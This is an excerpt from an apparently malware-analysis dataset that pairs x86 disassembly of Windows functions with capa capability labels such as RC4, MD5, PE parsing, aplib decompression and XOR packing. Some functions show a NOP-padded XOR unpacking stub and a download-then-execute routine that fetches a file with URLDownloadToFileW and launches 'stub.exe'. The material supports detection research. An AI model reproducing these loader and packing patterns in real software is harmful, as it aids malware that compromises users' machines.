joyce8/EMBER2024-capa huggingface dataset:
Function at 0x148c68c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov eax, dword [0x100148dc]
add eax, 2
mov dword [ebp - 4], eax
jmp 0x148c6a9
mov ecx, dword [ebp - 4]
add ecx, 2
mov dword [ebp - 4], ecx
mov edx, dword [0x100148e0]
sub edx, 6
cmp dword [ebp - 4], edx
jae 0x148c714
mov eax, dword [0x100148e4]
movzx esi, word [eax]
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, 7
div ecx
mov ecx, edx
shl esi, cl
mov word [ebp - 8], si
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, 4
div ecx
mov eax, dword [ebp - 4]
mov ecx, edx
shl eax, cl
mov word [ebp - 0xc], ax
movzx ecx, word [ebp - 8]
movzx edx, word [ebp - 0xc]
add ecx, edx
and ecx, 0xffff
mov eax, dword [0x100148d8]
add eax, dword [ebp - 4]
movzx edx, word [eax]
xor edx, ecx
mov eax, dword [0x100148d8]
add eax, dword [ebp - 4]
mov word [eax], dx
jmp 0x148c6a0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x148c97c
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], 0xefcdab89
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], 0
pop ebp
ret
Function at 0x148fb87
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x148fbb5
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x148fbbc
cmp ebx, dword [eax + 4]
jae 0x148fbbc
xor eax, eax
jmp 0x148fdac
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x148fbcd
xor eax, eax
inc eax
jmp 0x148fdab
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x148fbe3
cmp ecx, edx
jae 0x148fd28
cmp dword [eax + 4], 0
je 0x148fbec
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x148fbd4
cmp dword [ebp + 8], 0
je 0x148fc0e
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x148fd28
cmp eax, esi
jae 0x148fd28
mov eax, dword [0x100149e0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x148fc33
cmp dword [esi*4 + 0x100149e8], edi
je 0x148fd2c
inc esi
cmp esi, eax
jl 0x148fc21
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x10011118]
test eax, eax
je 0x148fda8
cmp dword [ebp - 8], case.0x75f359.4
jne 0x148fda8
test byte [ebp - 0xc], 0xcc
je 0x148fcb1
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x148fda8
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x148fda8
cmp word [eax + 0x18], 0x10b
jne 0x148fda8
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x148fda8
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x148fcb1
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x148fcb1
test byte [ecx + 0x27], 0x80
jne 0x148fd28
push 1
push 0x10014a28
call dword [0x10011028]
test eax, eax
jne 0x148fbc5
mov ecx, dword [0x100149e0]
test ecx, ecx
mov edx, ecx
jle 0x148fce5
lea eax, [ecx*4 + 0x100149e4]
cmp dword [eax], edi
je 0x148fce5
dec edx
sub eax, 4
test edx, edx
jg 0x148fcd9
test edx, edx
jne 0x148fd16
push 0xf
pop ebx
cmp ecx, ebx
jg 0x148fcf2
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x148fd0a
lea eax, [edx*4 + 0x100149e8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x148fcf8
cmp ecx, 0x10
jge 0x148fd16
inc ecx
mov dword [0x100149e0], ecx
push 0
push 0x10014a28
call dword [0x10011028]
jmp 0x148fbc5
xor eax, eax
jmp 0x148fdab
test esi, esi
jle 0x148fbc5
mov ebx, dword [0x10011028]
push 1
push 0x10014a28
call ebx
test eax, eax
jne 0x148fbc5
cmp dword [esi*4 + 0x100149e8], edi
je 0x148fd82
mov eax, dword [0x100149e0]
lea esi, [eax - 1]
test esi, esi
jl 0x148fd70
cmp dword [esi*4 + 0x100149e8], edi
je 0x148fd6c
dec esi
jns 0x148fd60
test esi, esi
jge 0x148fd80
cmp eax, 0x10
jge 0x148fd7b
inc eax
mov dword [0x100149e0], eax
lea esi, [eax - 1]
jmp 0x148fd82
je 0x148fd9a
xor ecx, ecx
test esi, esi
jl 0x148fd9a
lea eax, [ecx*4 + 0x100149e8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x148fd88
push 0
push 0x10014a28
call ebx
jmp 0x148fbc5
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x14a183c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.014a197c
mov dword [ebp - 0x10], 0x416424
mov dword [ebp - 0xc], 0x401300
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 1
jle 0x14a1904
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
movsx edx, byte [ecx]
cmp edx, 0x2d
je 0x14a1889
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
movsx edx, byte [ecx]
cmp edx, 0x2f
jne 0x14a1904
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
add ecx, 1
push ecx
push 0x416430
call fcn.014b01a5
add esp, 8
test eax, eax
jne 0x14a18bd
push 0x416438
call fcn.014b0174
add esp, 4
call fcn.014a1ccc
push 0
call fcn.014b0134
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 4]
add eax, 1
push eax
push fcn.00416450
call fcn.014b01a5
add esp, 8
test eax, eax
jne 0x14a18e4
call fcn.014a1e8c
push 0
call fcn.014b0134
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
push edx
push 0x416458
push 0x416464
call fcn.014b0174
add esp, 0xc
push 1
call fcn.014b0134
push 0x416488
push 0x4164ac
call fcn.014b0174
add esp, 8
push 0x4164b4
push 0x4164c0
call fcn.014b0174
add esp, 8
push 0x4164f0
push 0x4164fc
call fcn.014b0174
add esp, 8
push 0x416528
call fcn.014b0174
add esp, 4
lea eax, [ebp - 0x10]
push eax
call dword [0x416000]
test eax, eax
je 0x14a1964
push 0x416558
call fcn.014a1aac
add esp, 4
jmp 0x14a1971
push 0x416580
call fcn.014a1aac
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x14b5368
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x14b5396
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x14b539d
cmp ebx, dword [eax + 4]
jae 0x14b539d
xor eax, eax
jmp 0x14b558d
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x14b53ae
xor eax, eax
inc eax
jmp 0x14b558c
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x14b53c4
cmp ecx, edx
jae 0x14b5509
cmp dword [eax + 4], 0
je 0x14b53cd
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x14b53b5
cmp dword [ebp + 8], 0
je 0x14b53ef
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x14b5509
cmp eax, esi
jae 0x14b5509
mov eax, dword [0x41c7f0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x14b5414
cmp dword [esi*4 + 0x41c7f8], edi
je 0x14b550d
inc esi
cmp esi, eax
jl 0x14b5402
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x416150]
test eax, eax
je 0x14b5589
cmp dword [ebp - 8], case.0x75f359.4
jne 0x14b5589
test byte [ebp - 0xc], 0xcc
je 0x14b5492
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x14b5589
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x14b5589
cmp word [eax + 0x18], 0x10b
jne 0x14b5589
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x14b5589
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x14b5492
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x14b5492
test byte [ecx + 0x27], 0x80
jne 0x14b5509
push 1
push 0x41c838
call dword [0x41614c]
test eax, eax
jne 0x14b53a6
mov ecx, dword [0x41c7f0]
test ecx, ecx
mov edx, ecx
jle 0x14b54c6
lea eax, [ecx*4 + 0x41c7f4]
cmp dword [eax], edi
je 0x14b54c6
dec edx
sub eax, 4
test edx, edx
jg 0x14b54ba
test edx, edx
jne 0x14b54f7
push 0xf
pop ebx
cmp ecx, ebx
jg 0x14b54d3
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x14b54eb
lea eax, [edx*4 + 0x41c7f8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x14b54d9
cmp ecx, 0x10
jge 0x14b54f7
inc ecx
mov dword [0x41c7f0], ecx
push 0
push 0x41c838
call dword [0x41614c]
jmp 0x14b53a6
xor eax, eax
jmp 0x14b558c
test esi, esi
jle 0x14b53a6
mov ebx, dword [0x41614c]
push 1
push 0x41c838
call ebx
test eax, eax
jne 0x14b53a6
cmp dword [esi*4 + 0x41c7f8], edi
je 0x14b5563
mov eax, dword [0x41c7f0]
lea esi, [eax - 1]
test esi, esi
jl 0x14b5551
cmp dword [esi*4 + 0x41c7f8], edi
je 0x14b554d
dec esi
jns 0x14b5541
test esi, esi
jge 0x14b5561
cmp eax, 0x10
jge 0x14b555c
inc eax
mov dword [0x41c7f0], eax
lea esi, [eax - 1]
jmp 0x14b5563
je 0x14b557b
xor ecx, ecx
test esi, esi
jl 0x14b557b
lea eax, [ecx*4 + 0x41c7f8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x14b5569
push 0
push 0x41c838
call ebx
jmp 0x14b53a6
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1562980
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 0x10], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0x10325476
jmp 0x15629c5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x156e43b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
shr eax, 3
and eax, 0x3f
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x38
jl 0x156e488
pushfd
mov eax, 0xada778e5
push esp
xor eax, 0xad6c0b05
push 0x1560088
call eax
shl edi, 0
popfd
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x44], eax
jmp 0x156e493
mov eax, 0x38
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
push 0xc9e068
mov eax, dword [ebp + 8]
push eax
call fcn.0040104a
add esp, 0xc
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
jmp 0x156e4bf
inc dword [ebp - 0x48]
add dword [ebp - 0x4c], 4
cmp dword [ebp - 0x48], 0xe
jae 0x156e51c
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + 8]
mov al, byte [eax + ecx + 0x1a]
and eax, 0xff
shl eax, 0x10
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp + 8]
mov cl, byte [ecx + edx + 0x1b]
and ecx, 0xff
shl ecx, 0x18
or eax, ecx
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp + 8]
mov cl, byte [ecx + edx + 0x19]
and ecx, 0xff
shl ecx, 8
or eax, ecx
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp + 8]
mov cl, byte [ecx + edx + 0x18]
and ecx, 0xff
or eax, ecx
mov ecx, dword [ebp - 0x48]
mov dword [ebp + ecx*4 - 0x40], eax
jmp 0x156e4b8
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp + 8]
add eax, 8
push eax
call fcn.004012e9
add esp, 8
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
jmp 0x156e546
inc dword [ebp - 0x48]
add dword [ebp - 0x4c], 4
cmp dword [ebp - 0x48], 4
jae 0x156e5a4
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp + 8]
mov al, byte [ecx + eax*4 + 8]
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp + 8]
mov byte [ecx + edx + 0x58], al
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4 + 8]
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp + 8]
mov byte [ecx + edx + 0x59], ah
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4 + 8]
shr eax, 0x10
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp + 8]
mov byte [ecx + edx + 0x5a], al
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4 + 8]
shr eax, 0x18
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp + 8]
mov byte [ecx + edx + 0x5b], al
jmp 0x156e53f
jmp 0x156e5a6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x7c3058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.007c31a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x7c307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7c306a
add dl, dl
jne 0x7c3089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7c30dc
xor eax, eax
add dl, dl
jne 0x7c3096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7c317d
add dl, dl
jne 0x7c30a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c30b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c30bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c30c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x7c30d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x7c3075
mov eax, 1
add dl, dl
jne 0x7c30ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c30f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7c30e1
sub eax, ebx
mov ebx, 1
jne 0x7c3128
mov ecx, 1
add dl, dl
jne 0x7c310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7c3119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7c3105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7c3075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x7c313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7c314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7c3136
cmp eax, 0x7d00
jae 0x7c316d
cmp eax, 0x500
jb 0x7c3168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7c3075
cmp eax, 0x7f
ja 0x7c3170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7c3075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x7c319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x7c3075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401720
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00401a30
call fcn.004018d0
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401758
jmp 0x4017f4
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401757
cmp cl, 0x22
je 0x4017b0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x4017d0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x4017d0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401790
jmp 0x4017d0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x4017b0
cmp cl, 0x22
je 0x401830
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x4017ee
inc ebx
movzx eax, byte [ebx]
cmp al, 0x20
sete dl
cmp al, 9
sete al
or eax, edx
test al, 1
jne 0x4017e0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401812
movzx edx, word [ebp - 0x28]
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004013c0
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x4017d0
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408e54
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2a203cf
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x35f21cb9
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401c5c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c9b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401c9b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c9b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c9b
cmp dword [ecx + 0x74], 0xe
jbe 0x401c9b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40763c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4076d9
push ebx
push esi
call fcn.00407605
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407599
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x407686
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4076d8
push edi
push eax
call fcn.00407ecf
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4076a6
call fcn.004060e1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4076d7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407599
add esp, 0x20
test eax, eax
jne 0x4076c5
push edi
call fcn.004060e1
jmp 0x4076cd
push ebx
call fcn.004060e1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4085d5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40ffe0
push 0x40ffd8
push str.FlsAlloc
push 0x1f
call fcn.004084f1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408609
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e130]
call esi
jmp 0x40860f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408653
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fff0
push 0x40ffe8
push str.FlsGetValue
push 0x21
call fcn.004084f1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40868a
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x408692
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fff8
push 0x40fff0
push str.FlsSetValue
push 0x22
call fcn.004084f1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4086cc
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40d580
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d5ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d5ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0xea60
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x60]
push 1
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.URLDownloadToFileW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0x412d28
push str.https:__github.com_notepad_plus_plus_notepad_plus_plus_releases_download_v8.6.9_npp.8.6.9.Installer.x64.exe
push 0
call eax
lea eax, [ebp - 0x5c]
mov byte [ebp - 5], 0
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x44
push eax
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
lea eax, [ebp - 5]
push 0
push 0
push eax
push str.stub.exe
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
movups xmmword [ebp - 0x5c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004010ca
mov esp, ebp
pop ebp
ret

Function at 0x4018cf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40190e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40190e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40190e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40190e
cmp dword [ecx + 0x74], 0xe
jbe 0x40190e
